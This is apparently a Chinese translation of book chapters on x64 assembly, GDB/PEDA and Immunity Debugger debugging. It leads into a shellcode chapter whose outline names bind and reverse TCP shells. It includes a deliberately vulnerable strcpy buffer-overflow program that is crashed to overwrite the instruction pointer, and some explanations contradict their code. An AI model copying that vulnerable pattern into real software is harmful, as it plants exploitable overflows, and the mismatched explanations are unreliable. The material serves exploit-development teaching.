,作为第二个参数,它是指向我们要打印的字符串的指针;第三个参数是字符串的计数,包括空格。
以下图表解释了寄存器中将要包含的内容:
现在,让我们跳到完整的代码:
global _start
section .text
_start:
mov rax, 1
mov rdi, 1
mov rsi, hello_world
mov rdx, length
syscall
section .data
hello_world: db 'hello world',0xa
length: equ $-hello_world
在.data
部分,其中包含所有变量,代码中的第一个变量是hello_world
变量,数据类型为字节(db
),它包含一个hello world
字符串以及0xa
,表示换行,就像 C 语言中的\n
一样。第二个变量是length
,它包含hello_world
字符串的长度,使用equ
表示相等,$-
表示评估当前行。
在.text
部分,正如我们之前解释的,我们将1
移动到rax
,表示write
系统调用编号,然后我们将1
移动到rdi
,表示文件描述符设置为标准输出,然后我们将hello_world
字符串的地址移动到rsi
,将hello_world
字符串的长度移动到rdx
,最后,我们调用syscall
,表示执行。
现在,让我们汇编和链接目标代码,如下所示:
$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ ./hello-world
前面命令的输出如下:
它打印了hello world
字符串,但因为程序不知道接下来要去哪里,所以以Segmentation fault
退出。我们可以通过添加exit
系统调用来修复它:
global _start
section .text
_start:
mov rax, 1
mov rdi, 1
mov rsi, hello_world
mov rdx, length
syscall
mov rax, 60
mov rdi, 1
syscall
section .data
hello_world: db 'hello world',0xa
length: equ $-hello_world
我们通过将60
移动到rax
来添加了exit
系统调用,然后我们将1
移动到rdi
,表示退出状态,最后我们调用syscall
来执行exit
系统调用:
让我们汇编链接并再次尝试:
现在它正常退出了;让我们也使用echo $?
确认退出状态:
退出状态是1
,正如我们选择的!
堆栈
正如我们在前一章中讨论的,堆栈是为每个运行的应用程序分配的空间,用于存储变量和数据。堆栈支持两种操作(推入和弹出);推入操作用于将元素推入堆栈,这将导致堆栈指针移动到较低的内存地址(堆栈从高内存向低内存增长),并指向堆栈顶部,而弹出则取出堆栈顶部的第一个元素。
让我们看一个简单的例子:
global _start
section .text
_start:
mov rdx,0x1234
push rdx
push 0x5678
pop rdi
pop rsi
mov rax, 60
mov rdi, 0
syscall
section .data
这段代码非常简单;让我们编译和链接它:
$ nasm -felf64 stack.nasm -o stack.o
$ ld stack.o -o stack
然后,我将在调试器中运行应用程序(调试器将在下一章中解释),只是为了向您展示堆栈的真正工作原理。
首先,在运行程序之前,所有寄存器都是空的,除了 RSP 寄存器,它现在指向堆栈顶部00007ffdb3f53950
:
然后,执行第一条指令,将0x1234
移动到rdx
:
正如我们所看到的,rdx
寄存器现在保存着 0x1234
,而堆栈中还没有发生任何变化。第二条指令将 rdx
的值推送到堆栈中,如下所示:
看一下堆栈部分;它移动到了较低的地址(从 50
到 48
),现在包含 0x1234
。第三条指令是直接将 0x5678
推送到堆栈中:
第四条指令将把堆栈中的最后一个元素提取到 rdi
中:
你可以看到,堆栈中不再包含 0x5678
,而是移动到了 rdi
。最后一条指令是将堆栈中的最后一个元素提取到 rsi
中:
现在堆栈恢复正常,0x1234
移动到了 rsi
。
到目前为止,我们已经介绍了如何构建一个 hello world 程序以及堆栈中的推送/弹出操作的两个基本示例,我们看到了一些基本指令,比如 mov
、push
、pop
,还有更多内容等待我们去学习。现在,你可能会想为什么我没有解释这些指令,而是先带你看了这些示例。我的策略是带你进入下一节;在这里,我们将学习汇编语言所需的所有基本指令。
数据操作
数据操作 是在汇编中移动数据,这是一个非常重要的主题,因为我们的大部分操作都将是移动数据来执行指令,所以我们必须真正理解如何使用它们,比如 mov
指令,以及如何在寄存器之间和寄存器与内存之间移动数据,复制地址到寄存器,以及如何使用 xchg
指令在两个寄存器或寄存器和内存之间交换内容,然后如何使用 lea
指令将源的有效地址加载到目的地。
mov 指令
mov
指令是在 Linux 中汇编中使用最重要的指令,我们在所有之前的示例中都使用了它。
mov
指令用于在寄存器之间、寄存器和内存之间移动数据。
让我们看一些例子。首先,让我们从直接将数据移动到寄存器开始:
global _start
section .text
_start:
mov rax, 0x1234
mov rbx, 0x56789
mov rax, 60
mov rdi, 0
syscall
section .data
这段代码将会把 0x1234
复制到 rax
,并且把 0x56789
复制到 rbx
:
让我们进一步添加一些在寄存器之间移动数据到之前的示例中:
global _start
section .text
_start:
mov rax, 0x1234
mov rbx, 0x56789
mov rdi, rax
mov rsi, rbx
mov rax, 60
mov rdi, 0
syscall
section .data
我们刚刚添加的内容将 rax
和 rbx
的内容分别移动到 rdi
和 rsi
:
让我们尝试在寄存器和内存之间移动数据:
global _start
section .text
_start:
mov al, [mem1]
mov bx, [mem2]
mov ecx, [mem3]
mov rdx, [mem4]
mov rax, 60
mov rdi, 0
syscall
section .data
mem1: db 0x12
mem2: dw 0x1234
mem3: dd 0x12345678
mem4: dq 0x1234567891234567
在 mov al, [mem1]
中,方括号表示将 mem1
的内容移动到 al
。如果我们使用 mov al, mem1
而不带方括号,它将会把 mem1
的指针移动到 al
。
在第一行,我们将 0x12
移动到 RAX 寄存器中,因为我们只移动了 8 位,所以我们使用了 AL(RAX 寄存器的低部分,可以容纳 8 位),因为我们不需要使用所有 64 位。还要注意的是,我们将 mem1
内存部分定义为 db
,即字节,或者它可以容纳 8 位。
看一下下面的表格:
64 位寄存器 | 32 位寄存器 | 16 位寄存器 | 8 位寄存器 |
---|---|---|---|
RAX | EAX | AX | AH, AL |
RBX | EBX | BX | BH, BL |
RCX | ECX | CX | CH, CL |
RDX | EDX | DX | DH, DL |
RSI | ESI | SI | SIL |
RDI | EDI | DI | DIL |
RSP | ESP | SP | SPL |
RBP | EBP | BP | BPL |
R8 | R8D | R8W | R8B |
R9 | R9D | R9W | R9B |
R10 | R10D | R10W | R10B |
R11 | R11D | R11W | R11B |
R12 | R12D | R12W | R12B |
R13 | R13D | R13W | R13B |
R14 | R14D | R14W | R14B |
R15 | R15D | R15W | R15B |
然后,我们将定义为 dw
的值 0x1234
移动到 rbx
寄存器,然后我们在 BX 中移动了 2 个字节(16 位),它可以容纳 16 位。
然后,我们将定义为 dd
的值 0x12345678
移动到 RCX 寄存器,它是 4 个字节(32 位),移动到 ECX。
最后,我们将定义为 dq
的值 0x1234567891234567
移动到 RDX 寄存器,它是 8 个字节(64 位),所以我们将它移动到 RDX 中:
在执行后,寄存器中的情况如下。
现在,让我们谈谈从寄存器到内存的数据移动。看看下面的代码:
global _start
section .text
_start:
mov al, 0x34
mov bx, 0x5678
mov byte [mem1], al
mov word [mem2], bx
mov rax, 60
mov rdi, 0
syscall
section .data
mem1: db 0x12
mem2: dw 0x1234
mem3: dd 0x12345678
mem4: dq 0x1234567891234567
在第一和第二条指令中,我们直接将值移动到寄存器中,在第三条指令中,我们将寄存器 RAX(AL)的内容移动到mem1
中,并用字节指定了长度。然后,在第四条指令中,我们将寄存器 RBX(RX)的内容移动到mem2
中,并用字指定了长度。
这是在移动任何值之前mem1
和mem2
的内容:
下一张截图是在将值移动到mem1
和mem2
之后的情况:
数据交换
数据交换也很容易;它用于交换两个寄存器或寄存器和内存之间的内容,使用xchg
指令:
global _start
section .text
_start:
mov rax, 0x1234
mov rbx, 0x5678
xchg rax, rbx
mov rcx, 0x9876
xchg rcx,[mem1]
mov rax, 60
mov rdi, 0
syscall
section .data
mem1: dw 0x1234
在前面的代码中,我们将0x1234
移动到rax
寄存器,然后将0x5678
移动到rbx
寄存器:
然后,在第三条指令中,我们使用xchg
指令交换了rax
和rbx
的内容:
然后,我们将0x9876
推送到rcx
寄存器,mem1
保存0x1234
:
现在,交换rcx
和mem1
的内容:
加载有效地址
加载有效地址(lea)指令将源的地址加载到目的地:
global _start
section .text
_start:
lea rax, [mem1]
lea rbx, [rax]
mov rax, 60
mov rdi, 0
syscall
section .data
mem1: dw 0x1234
首先,我们将mem1
的地址移动到rax
,然后将rax
中的地址移动到rbx
:
现在两者都指向mem1
,其中包含0x1234
。
算术运算
现在,我们将讨论算术运算(加法和减法)。让我们开始:
global _start
section .text
_start:
mov rax,0x1
add rax,0x2
mov rbx,0x3
add bl, byte [mem1]
mov rcx, 0x9
sub rcx, 0x1
mov dl,0x5
sub byte [mem2], dl
mov rax, 60
mov rdi, 0
syscall
section .data
mem1: db 0x2
mem2: db 0x9
首先,我们将0x1
移动到rax
寄存器,然后加上0x2
,结果将存储在rax
寄存器中。
然后,我们将0x3
移动到rbx
寄存器,并将包含0x2
的mem1
的内容与rbx
的内容相加,结果将存储在rbx
中。
然后,我们将0x9
移动到rcx
寄存器,然后减去0x1
,结果将存储在rcx
中。
然后,我们将0x5
移动到rdx
寄存器,从mem2
中减去rdx
的内容,并将结果存储在mem2
的内存部分中:
减法后mem2
的内容如下:
现在,让我们谈谈带进位加法和借位减法:
global _start
section .text
_start:
mov rax, 0x5
stc
adc rax, 0x1
mov rbx, 0x5
stc
sbb rbx, 0x1
mov rax, 60
mov rdi, 0
syscall
section .data
首先,我们将0x5
移动到rax
寄存器,然后设置进位标志,它将携带1
。之后,我们将rax
寄存器的内容加上0x1
,并加到进位标志中,得到0x7
(5+1+1)。
然后,我们将0x5
移动到rbx
寄存器并设置进位标志,然后从rbx
寄存器中减去0x1
,并且在进位标志中再减去1
;这将给我们0x3
(5-1-1):
现在,这里的最后部分是增量和减量操作:
global _start
section .text
_start:
mov rax, 0x5
inc rax
inc rax
mov rbx, 0x6
dec rbx
dec rbx
mov rax, 60
mov rdi, 0
syscall
section .data
首先,我们将0x5
移动到rax
寄存器,将rax
的值增加1
,然后再次增加,得到0x7
。
然后,我们将0x6
移动到rbx
寄存器,将rbx
的值减去1
,然后再次减去,得到0x4
:
循环
现在,我们将讨论汇编中的循环。就像在任何其他高级语言(Python、Java 等)中一样,我们可以使用循环来使用 RCX 寄存器作为计数器进行迭代,然后使用loop
关键字。让我们看下面的例子:
global _start
section .text
_start:
mov rcx,0x5
mov rbx,0x1
increment:
inc rbx
loop increment
mov rax, 60
mov rdi, 0
syscall
section .data
在前面的代码中,我们想要增加 RAX 的内容五次,所以我们将0x5
移动到rcx
寄存器,然后将0x1
移动到rbx
寄存器:
然后,我们将increment
标签添加为我们想要重复的块的开始指示,然后我们添加了增量指令到rbx
寄存器的内容:
然后,我们调用loop increment
,它将递减 RCX 寄存器的内容,然后再次从increment
标签开始:
现在它将一直执行,直到 RCX 寄存器为零,然后流程将离开该循环:
现在,如果程序在 RCX 上重写了一个值会怎样?让我们看一个例子:
global _start
section .text
_start:
mov rcx, 0x5
print:
mov rax, 1
mov rdi, 1
mov rsi, hello
mov rdx, length
syscall
loop print
mov rax, 60
mov rdi, 0
syscall
section .data
hello: db 'Hello There!',0xa
length: equ $-hello
执行此代码后,程序将陷入无限循环,如果我们仔细观察,我们将看到代码在执行系统调用后覆盖了 RCX 寄存器中的值:
因此,我们必须找到一种方法来保存 RCX 寄存器,比如将其保存在堆栈中。首先,在执行系统调用之前,我们将当前值推送到堆栈中,然后在执行系统调用后,我们再次用我们的值覆盖 RCX 中的任何内容,然后递减该值并再次将其推送到堆栈中以保存它:
global _start
section .text
_start:
mov rcx, 0x5
increment:
push rcx
mov rax, 1
mov rdi, 1
mov rsi, hello
mov rdx, length
syscall
pop rcx
loop increment
mov rax, 60
mov rdi, 0
syscall
section .data
hello: db 'Hello There!',0xa
length: equ $-hello
通过这种方式,我们保存了 RCX 寄存器中的值,然后再次将其弹出到 RCX 中以使用它。请看上述代码中的pop rcx
指令。RCX 再次回到0x5
,正如预期的那样:
控制流程
在这里,我们将讨论控制执行流程。执行流程的正常流程是执行步骤 1,然后 2,依此类推,直到代码正常退出。如果我们决定在步骤 2 中发生某些事情,然后跳过 3,直接执行 4,或者我们只是想跳过步骤 3 而不等待发生某些事情,有两种跳转类型:
-
无条件改变流程
-
根据标志的更改改变流程
现在,让我们从无条件跳转开始:
global _start
section .text
_start:
jmp exit_ten
mov rax, 60
mov rdi, 12
syscall
mov rax, 60
mov rdi, 0
syscall
exit_ten:
mov rax, 60
mov rdi, 10
syscall
mov rax, 60
mov rdi, 1
syscall
section .data
先前的代码包含四个exit
系统调用,但具有不同的退出状态(12
,0
,10
,1
),并且我们从jmp exit_ten
开始,这意味着跳转到exit_ten
位置,它将跳转到代码的这一部分:
mov rax, 60
mov rdi, 10
syscall
执行并正常退出,退出状态为10
。请注意,下一部分将永远不会被执行:
mov rax, 60
mov rdi, 12
syscall
mov rax, 60
mov rdi, 0
syscall
让我们确认一下:
$ nasm -felf64 jmp-un.nasm -o jmp-un.o
$ ld jmp-un.o -o jmp-un
$ ./jmp-un
$ echo $?
先前命令的输出可以在以下截图中看到:
正如我们所看到的,代码以退出状态10
退出。
让我们看另一个例子:
global _start
section .text
_start:
mov rax, 1
mov rdi, 1
mov rsi, hello_one
mov rdx, length_one
syscall
jmp print_three
mov rax, 1
mov rdi, 1
mov rsi, hello_two
mov rdx, length_two
syscall
print_three:
mov rax, 1
mov rdi, 1
mov rsi, hello_three
mov rdx, length_three
syscall
mov rax, 60
mov rdi, 11
syscall
section .data
hello_one: db 'hello one',0xa
length_one: equ $-hello_one
hello_two: db 'hello two',0xa
length_two: equ $-hello_two
hello_three: db 'hello three',0xa
length_three: equ $-hello_three
在先前的代码中,它开始打印hello_one
。然后,它将到达jmp print_three
,执行流程将更改到print_three
位置,并开始打印hello_three
。以下部分将永远不会被执行:
mov rax, 1
mov rdi, 1
mov rsi, hello_two
mov rdx, length_two
syscall
让我们确认一下:
$ nasm -felf64 jmp_hello.nasm -o jmp_hello.o
$ ld jmp_hello.o -o jmp_hello
$ ./jmp_hello
先前命令的输出可以在以下截图中看到:
现在,让我们继续讨论带条件的跳转,老实说,我们无法在这里涵盖所有条件,因为列表非常长,但我们将看到一些例子,以便您理解概念。
jb
指令表示如果进位标志(CF)被设置(CF 等于1
)则执行跳转。
正如我们之前所说,我们可以使用stc
指令手动设置 CF。
让我们修改先前的例子,但使用jb
指令,如下所示:
global _start
section .text
_start:
mov rax, 1
mov rdi, 1
mov rsi, hello_one
mov rdx, length_one
syscall
stc
jb print_three
mov rax, 1
mov rdi, 1
mov rsi, hello_two
mov rdx, length_two
syscall
print_three:
mov rax, 1
mov rdi, 1
mov rsi, hello_three
mov rdx, length_three
syscall
mov rax, 60
mov rdi, 11
syscall
section .data
hello_one: db 'hello one',0xa
length_one: equ $-hello_one
hello_two: db 'hello two',0xa
length_two: equ $-hello_two
hello_three: db 'hello three',0xa
length_three: equ $-hello_three
如您所见,我们执行了stc
来设置进位标志(即 CF 等于1
),然后我们使用jb
指令进行测试,这意味着如果 CF 等于1
,则跳转到print_three
。
以下是另一个例子:
global _start
section .text
_start:
mov al, 0xaa
add al, 0xaa
jb exit_ten
mov rax, 60
mov rdi, 0
syscall
exit_ten:
mov rax, 60
mov rdi, 10
syscall
section .data
在先前的例子中,加法操作将设置进位标志,然后我们使用jb
指令进行测试;如果 CF 等于1
,则跳转到exit_ten
。
现在,让我们看一个不同的方法,即如果小于或等于(jbe
)指令,这意味着 CF 等于1
或零标志(ZF)等于1
。先前的例子也可以工作,但让我们尝试其他方法来设置 ZF 等于1
:
global _start
section .text
_start:
mov al, 0x1
sub al, 0x1
jbe exit_ten
mov rax, 60
mov rdi, 0
syscall
exit_ten:
mov rax, 60
mov rdi, 10
syscall
section .data
在先前的代码中,减法操作将设置 ZF,然后我们将使用jbe
指令来测试 CF 等于1
或 ZF 等于1
;如果为真,则会跳转执行exit_ten
。
另一种类型是如果不是符号(jns
),这意味着 SF 等于0
:
global _start
section .text
_start:
mov al, 0x1
sub al, 0x3
jns exit_ten
mov rax, 60
mov rdi, 0
syscall
exit_ten:
mov rax, 60
mov rdi, 10
syscall
section .data
在先前的代码中,减法操作将设置符号标志(SF)等于1
。之后,我们将测试 SF 是否等于0
,这将失败,它不会跳转执行exit_ten
,而是继续以退出状态0
正常退出:
过程
汇编中的过程可以像高级语言中的函数一样,这意味着你可以编写一段代码块,然后调用它来执行。
例如,我们可以构建一个过程,可以接受两个数字并将它们相加。而且,我们可以在执行过程中多次使用call
指令。
构建过程很容易。首先,在_start
之前定义你的过程,然后添加你的指令,并用ret
指令结束你的过程。
让我们试着构建一个过程,可以接受两个数字并将它们相加:
global _start
section .text
addition:
add bl,al
ret
_start:
mov al, 0x1
mov bl, 0x3
call addition
mov r8,0x4
mov r9, 0x2
call addition
mov rax, 60
mov rdi, 1
syscall
section .data
首先,在_start
部分之前添加了一个addition
部分。然后,在addition
部分中,我们使用add
指令来将R8
和R9
寄存器中的内容相加,并将结果放入R8
寄存器,然后我们用ret
结束了addition
过程。
然后,我们将1
移动到R8
寄存器,将3
移动到R9
寄存器:
然后,我们调用了addition
过程,它将把下一条指令地址推入堆栈,即mov r8,0x4
:
注意RSP
现在指向下一个操作,我们在addition
过程中,然后代码将会将两个数相加并将结果存储在R8
寄存器中:
之后,它将执行ret
指令,这将把执行流程返回到mov r8,0x4
。
这将把4
移动到R8
寄存器,然后将2
移动到R8
寄存器:
然后调用addition
过程,它将把下一条指令推入堆栈,即mov rax, 60
:
然后,将这两个数相加并将结果存储在R8
寄存器中:
然后,我们再次执行ret
指令,这将从堆栈中弹出下一条指令,并将其放入RIP
寄存器中,相当于pop rip
:
然后,代码将继续执行exit
系统调用。
逻辑操作
现在,我们要讨论逻辑操作,比如位运算和位移操作。
位运算
在逻辑操作中有四种位运算:AND、OR、XOR 和 NOT。
让我们从 AND 位运算开始:
global _start
section .text
_start:
mov rax,0x10111011
mov rbx,0x11010110
and rax,rbx
mov rax, 60
mov rdi, 10
syscall
section .data
首先,我们将0x10111011
移动到rax
寄存器,然后将0x11010110
移动到rbx
寄存器:
然后,我们对两边执行了AND位运算,并将结果存储在 RAX 中:
让我们看看RAX
寄存器中的结果:
现在,让我们转到 OR 位运算,并修改之前的代码来执行这个操作:
global _start
section .text
_start:
mov rax,0x10111011
mov rbx,0x11010110
or rax,rbx
mov rax, 60
mov rdi, 10
syscall
section .data
我们将这两个值移动到rax
和rbx
寄存器中:
然后,我们对这些数值执行了 OR 操作:
现在,让我们确认一下RAX
寄存器中的结果:
现在让我们看看相同数值的 XOR 位运算:
global _start
section .text
_start:
mov rax,0x10111011
mov rbx,0x11010110
xor rax,rbx
mov rax, 60
mov rdi, 10
syscall
section .data
将相同的数值移动到rax
和rbx
寄存器中:
然后,执行 XOR 操作:
让我们看看RAX
寄存器里面是什么:
你可以使用 XOR 指令对一个寄存器自身进行操作,以清除该寄存器的内容。例如,xor rax
和rax
将用 0 填充 RAX 寄存器。
现在,让我们看看最后一个,即 NOT 位运算,它将把 1 变为 0,0 变为 1:
global _start
section .text
_start:
mov al,0x00
not al
mov rax, 60
mov rdi, 10
syscall
section .data
上述代码的输出可以在以下截图中看到:
发生的事情是 NOT 指令将 0 变为 1(ff
),1 变为 0。
位移操作
如果你按照每个图表所说的去做,位移操作就是一个简单的话题。主要有两种类型的位移操作:算术位移操作和逻辑操作。然而,我们也会看到旋转操作。
让我们从算术位移操作开始。
算术位移操作
让我们尽可能简单地解释。有两种类型的算术移位:算术左移(SAL)和算术右移(SAR)。
在 SAL 中,我们在最低有效位侧推送0,并且来自最高有效位侧的额外位可能会影响CF,如果它是1:
因此,这种移位的结果不会影响CF,它会是这样的:
让我们举个例子:
global _start
section .text
_start:
mov rax, 0x0fffffffffffffff
sal rax, 4
sal rax, 4
mov rax, 60
mov rdi, 0
syscall
section .data
我们将0x0fffffffffffffff
移动到rax
寄存器中,现在它看起来是这样的:
现在,我们要进行一次 SAL 移位 4 位:
因为最高有效位为零,所以 CF 不会被设置:
现在,让我们尝试另一轮:我们再推送一个零,最高有效位为 1:
将设置进位标志:
现在,让我们看一下 SAR 指令。在 SAR 中,如果最高有效位为0,则将推送一个基于该位的值,那么将推送0,如果为1,则将推送1以保持符号不变:
最高有效位用作符号的指示,0表示正数,1表示负数。
因此,在 SAR 中,它将根据最高有效位进行移位。
让我们看一个例子:
global _start
section .text
_start:
mov rax, 0x0fffffffffffffff
sar rax, 4
mov rax, 60
mov rdi, 0
syscall
section .data
因此,输入将如下所示:
因此,SAR 四次将在最高有效位为零时推送0四次:
此外,由于最低有效位为 1,所以 CF 被设置:
逻辑移位
逻辑移位还包括两种类型的移位:逻辑左移(SHL)和逻辑右移(SHR)。SHL 与 SAL 完全相同。
让我们看一下以下代码:
global _start
section .text
_start:
mov rax, 0x0fffffffffffffff
shl rax, 4
shl rax, 4
mov rax, 60
mov rdi, 0
syscall
section .data
同时,它将从最低有效位侧再次推送零四次:
这不会对进位标志产生任何影响:
在第二轮中,它将再次推送四次零:
最高有效位为 1,因此这将设置进位标志:
现在让我们转向 SHR。它只是在最高有效位侧推送一个 0,而不改变符号:
现在,尝试以下代码:
global _start
section .text
_start:
mov rax, 0xffffffffffffffff
shr rax, 32
mov rax, 60
mov rdi, 0
syscall
section .data
因此,首先,我们移动 64 位的 1:
之后,我们将进行 32 次 SHR,这将在最高有效位侧推送 32 个零:
同时,由于最低有效位为 1,这将设置进位标志:
旋转操作
旋转操作很简单:我们将寄存器的内容向右或向左旋转。在这里,我们只讨论向右旋转(ROR)和向左旋转(ROL)。
让我们从 ROR 开始:
在 ROR 中,我们只是将位从右向左旋转而不添加任何位;让我们看一下以下代码:
global _start
section .text
_start:
mov rax, 0xffffffff00000000
ror rax, 32
mov rax, 60
mov rdi, 0
syscall
section .data
我们将0xffffffff00000000
移动到rax
寄存器中:
然后,我们将开始从右向左移动 32 次:
没有对 1 进行移位,因此不会设置进位标志:
让我们移动 ROL,这是 ROR 的相反,它将位从左向右旋转而不添加任何位:
让我们看一下之前的例子,但是使用 ROL:
global _start
section .text
_start:
mov rax, 0xffffffff00000000
rol rax, 32
mov rax, 60
mov rdi, 0
syscall
section .data
首先,我们将0xffffffff00000000
移动到rax
寄存器中:
然后,我们将从左向右旋转 32 次:
我们正在旋转 1,因此这将设置进位标志:
总结
在本章中,我们讨论了 Linux 中的 Intel x64 汇编语言以及如何处理堆栈、数据操作、算术和逻辑操作,如何控制执行流程,以及如何在汇编中调用系统调用。
现在我们准备制作我们自己定制的 shellcode,但在此之前,您需要学习一些调试和逆向工程的基础知识,这将是我们的下一章。
第四章:逆向工程
在本章中,我们将学习什么是逆向工程,以及如何使用调试器使我们真正看到幕后发生了什么。此外,我们将逐条查看每条指令的执行流程,以及如何使用和熟悉 Microsoft Windows 和 Linux 的调试器。
本章将涵盖以下主题:
-
在 Linux 中调试
-
在 Windows 中调试
-
任何代码的执行流
-
使用逆向工程检测和确认缓冲区溢出
我们开始吧?
在 Linux 中调试
在这里,我们将向您介绍一个最可爱和强大的调试器之一,GDB(GNU 调试器)。GDB 是一个开源的命令行调试器,可以在许多语言上工作,比如 C/C++,并且它默认安装在大多数 Linux 发行版上。
那么我们为什么要使用调试器呢?我们使用它们来查看每一步中寄存器、内存或堆栈的情况。此外,GDB 中还有反汇编,帮助我们理解汇编语言中每个函数的功能。
有些人觉得 GDB 难以使用,因为它是一个命令行界面,很难记住每个命令的参数等。让我们通过安装 PEDA 来使 GDB 对这些人更容忍,PEDA 用于增强 GDB 的界面。
PEDA代表Python Exploit Development Assistance,它可以使 GDB 更易于使用和更美观。
我们需要先下载它:
$ git clone https://github.com/longld/peda.git ~/peda
然后,将该文件复制到您home
目录下的gdbinit
中:
$ echo "source ~/peda/peda.py" >> ~/.gdbinit
然后,启动 GDB:
$ gdb
现在看起来毫无用处,但等等;让我们尝试调试一些简单的东西,比如我们的汇编hello world示例:
global _start
section .text
_start:
mov rax, 1
mov rdi, 1
mov rsi, hello_world
mov rdx, length
syscall
mov rax, 60
mov rdi, 11
syscall
section .data
hello_world: db 'hello there',0xa
length: equ $-hello_world
让我们按照以下方式汇编和链接它:
$ nasm -felf64 hello.nasm -o hello.o
$ ld hello.o -o hello
现在使用 GDB 运行./hello
如下:
$ gdb ./hello
以下截图显示了上述命令的输出:
我们将把反汇编模式设置为 Intel:
set disassembly-flavor intel
然后,我们将在想要逐步调试的地方设置断点,因为我们将跟踪所有指令,所以让我们在_start
处设置断点:
break _start
上述命令的输出如下:
现在我们已经设置了断点,现在让我们在 GDB 中运行我们的应用程序使用run
,它将继续运行直到触发断点。
您将看到三个部分(寄存器、代码和堆栈):
以下截图是代码部分:
正如您所看到的,左侧的小箭头指向下一条指令,即将0x1
移动到eax
寄存器。
下一个截图是堆栈部分:
此外,我们可以使用命令peda
找到许多命令选项:
还有更多:
所有这些都是 PEDA 命令;您也可以使用 GDB 命令。
现在,让我们继续我们的工作,输入stepi
,或者您也可以使用s
,这将开始执行一条指令,即mov eax,0x1
:
stepi
命令将进入call
等指令,这将导致调试流程在该调用内部切换,而s
命令或 step 不会这样做,它只会通过进入call
指令来获取返回值。
在上一个屏幕上,RAX
寄存器内有0x1
,下一条指令指向mov edi,0x1
。现在让我们按Enter移动到下一条指令:
另外,正如您所看到的,RDI 寄存器内有1
,下一条指令是movabs rsi,0x6000d8
。让我们尝试看看内存地址0x6000d8
中有什么,使用xprint 0x6000d8
:
现在很明显,这是保存hello there
字符串的位置。我们还可以使用peda hexprint 0x6000d8
或peda hexdump 0x6000d8
以十六进制转储它:
让我们继续使用stepi
:
现在 RSI 寄存器持有指向hello there
字符串的指针。
下一条指令是mov edx,0xc
,将12
移动到 EDX 寄存器,这是hello there
字符串的长度。现在,让我们再次按下Enter键;显示如下:
现在看 RDX 寄存器,它持有0xc
,下一条指令是syscall
。让我们继续使用s
向前移动:
现在syscall
已经完成,打印了hello there
字符串。
现在我们要执行exit
系统调用,下一条指令是mov eax,0x3c
,意思是将60
移动到 RAX 寄存器。让我们继续向前使用s
:
指令mov edi,0xb
的意思是将11
移动到 RDI 寄存器:
RDI 现在持有0xb
,下一条指令是syscall
,将执行exit
系统调用:
现在程序正常退出。
让我们看另一个例子,即 C 语言中的 hello world:
#include <stdio.h>
int main()
{
printf ("hello world\n");
return 0;
}
让我们编译它并使用 GDB 进行调试:
$ gcc hello.c -o hello
$ gdb ./hello
现在让我们将反汇编模式设置为 Intel:
set disassembly-flavor intel
在main
函数处设置断点:
break main
现在,如果我们想查看任何函数的汇编指令,那么我们应该使用disassemble
命令,后面跟着函数的名称。例如,我们想要反汇编main
函数,因此我们可以使用disassemble main
:
前两条指令是通过将 RBP 推送到堆栈来保存基指针或帧指针的内容,然后在最后,RBP 将被提取回来。让我们运行应用程序,以查看更多,使用run
命令:
它停在lea rdi,[rip+0x9f] # 0x5555555546e4
。
让我们检查一下那个位置里面有什么:
它指向hello world
字符串的位置。
让我们通过使用stepi
或s
向前迈进:
如您所见,RDI 寄存器现在加载了hello world
字符串的地址。
下一条指令call 0x555555554510 <puts@plt>
,即调用printf
函数,用于打印hello world
字符串。
我们还可以检查0x555555554510
的内容:
这是jmp
指令;让我们也检查一下那个位置:
现在,让我们使用stepi
命令向前迈进:
让我们再次向前迈进:
下一条指令是push 0x0
;让我们继续使用stepi
:
下一条指令是jmp 0x555555554500
;输入s
向前迈进:
现在我们在printf
函数的实际执行内部;继续向前迈进,查看下一条指令:
下一条指令call 0x7ffff7abc650 <strlen>
,意思是调用strlen
函数来获取我们字符串的长度。
继续向前迈进,直到遇到ret
指令,然后您又回到了我们的执行中,位于printf
内部:
让程序继续调试,直到出现错误,使用continue
命令:
在前面的例子中,我们没有遵循所有指令,而只是学习了如何使用 GDB 进行调试,并理解和调查每条指令。
在 Windows 中调试
现在,让我们尝试一些更高级但又非常简单的东西,而不涉及具体细节。在这里,我们将看到如果在 Windows 中使用缓冲区溢出代码会发生什么。我们将检测如果执行该代码,CPU 内部会发生什么。
首先,在 Windows 7 中打开Code::Block,然后转到文件菜单 | 新建 | 空文件。然后,编写我们的缓冲区溢出:
#include <stdio.h>
#include <string.h>
void copytobuffer(char* input)
{
char buffer[15];
strcpy (buffer,input);
}
int main (int argc, char *argv[])
{
int local_variable = 1;
copytobuffer(argv[1]);
return 0;
}
之后,转到文件菜单 | 保存文件,然后将其保存为buffer.c
:
然后,转到构建菜单 | 构建。
然后,以管理员身份打开Immunity Debugger,从文件菜单 | 打开,选择可执行的缓冲文件,然后指定我们的输入,不是为了使我们的代码崩溃,而是为了看到区别,比如aaaa
:
然后,点击 Open:
要获得每个按钮的功能,请将鼠标悬停在其上并阅读状态栏。
例如,如果我将鼠标悬停在红色播放按钮上,它将在状态栏中显示其功能,即运行程序:
让我们点击一次运行程序按钮。程序启动,然后停在程序入口点,即main
函数。让我们再次点击该按钮,并注意状态栏中发生的变化:
正如你所看到的,程序以零状态退出,这意味着没有错误。
好的,现在让我们尝试导致程序崩溃以查看区别。让我们关闭 Immunity Debugger 并再次运行它,然后打开相同的程序,但我们需要导致程序崩溃,因此指定参数,例如 40 个a
字符:
然后点击打开:
让我们点击两次运行程序按钮,并注意状态栏中发生的变化:
程序无法执行61616161
;你知道为什么吗?这是我们的输入,61 是十六进制中的一个字符。
让我们看看寄存器和堆栈窗口:
请注意,堆栈中有 16 个a
字符;我们的输入的其余部分填充了 EAX 寄存器并填充了 RIP,这就是为什么我们的应用程序抱怨无法执行61616161
。
摘要
在本章中,我们讨论了调试以及如何在 Linux 和 Microsoft Windows 中使用调试器。我们还看了如何跟踪执行流程并了解幕后发生了什么。我们只是浅尝辄止这个主题,因为我们不想偏离我们的主要目标。现在让我们继续进行下一章,这一章将涵盖我们的主要目标之一:创建 shellcode。我们将看看我们将如何应用到目前为止学到的一切来创建我们定制的 shellcode。
第五章:创建 Shellcode
让我们准备好深入研究这个话题,我们将利用到目前为止学到的知识来创建简单的、完全定制的 shellcode。当我们面对坏字符并找到去除它们的方法时,这将变得更加有趣。接下来,我们将看到如何创建高级的 shellcode,并使用 Metasploit Framework 自动创建我们的 shellcode。
以下是本章将涵盖的主题:
-
基础知识和坏字符
-
相对地址技术
-
execve 系统调用
-
绑定 TCP shell
-
反向 TCP shell
-
使用 Metasploit 生成 shellcode
基础知识
